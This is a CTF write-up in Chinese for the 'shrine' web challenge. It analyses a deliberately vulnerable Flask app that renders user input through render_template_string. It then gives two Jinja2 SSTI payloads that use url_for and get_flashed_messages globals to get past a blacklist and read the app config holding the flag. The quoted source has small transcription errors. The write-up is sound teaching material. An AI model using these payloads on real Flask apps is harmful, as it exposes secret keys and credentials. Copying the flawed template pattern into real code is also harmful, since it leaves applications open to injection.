攻防世界-Web-shrine

知识点

1.SSTI

步骤

打开网站,是一份pythone flask框架代码,分析。

python 复制代码
import flask
import os

app = flask.Flask(__name__)
app.config["FLAG"] //将flag写入config中
l = os.environ.pop("FLAG")


@app.route("/")   //访问根目录,读取__file__的内容
def index():
    return open(__file__).read()


@app.route("/shrine/")
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace("(", "").replace(")", "") //过滤括号
        blacklist = ["config", "self"]    //黑名单,过滤config和self
        return "".join(["{{% set {}=None%}}".format(c) for c in blacklist]) + s //按照黑名单的过滤

    return flask.render_template_string(safe_jinja(shrine))  //存在模版注入


if __name__ == "__main__":
    app.run(debug=True)

可以发现在config中存在flag,所以目标就是读取config

1.测试模版注入

2.正常读取config

发现被过滤成None

3.尝试其他读取方式

使用get_flashed_messages或者url_for.__globals读取config

python 复制代码
{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config}}

flag{shrine_is_good_ssti}

相关推荐
兄弟加油,别颓废了。9 小时前
给她ctf.show
网络安全
悟道子HD15 小时前
SRC漏洞挖掘——2.SQL注入漏洞实战详解
sql·web安全·网络安全·渗透测试·sql注入·sqlmap·暴力破解
zjeweler18 小时前
网安护网面试-2-国誉护网面试
web安全·网络安全·面试·职场和发展·护网行动·护网面试
pencek20 小时前
HakcMyVM-Quick
网络安全
身如柳絮随风扬20 小时前
Servlet:访问流程、核心接口与生命周期
java·servlet·web
程序员晓晓21 小时前
【网络安全零基础入门】应急响应之服务器入侵排查,小白零基础入门到精通教程
服务器·web安全·计算机·网络安全·渗透测试·黑客技术·网安应急响应
钛态21 小时前
前端WebSocket实时通信:别再用轮询了!
前端·vue·react·web
爱学习的程序媛1 天前
浏览器内核揭秘:JavaScript 和 UI 的“主线程争夺战”
前端·性能优化·浏览器·web
vortex51 天前
基于资源约束的委派 (RBCD) 利用细节
网络·网络协议·网络安全·内网渗透·ad域
菩提小狗1 天前
每日安全情报报告 · 2026-04-11
网络安全·漏洞·cve·安全情报·每日安全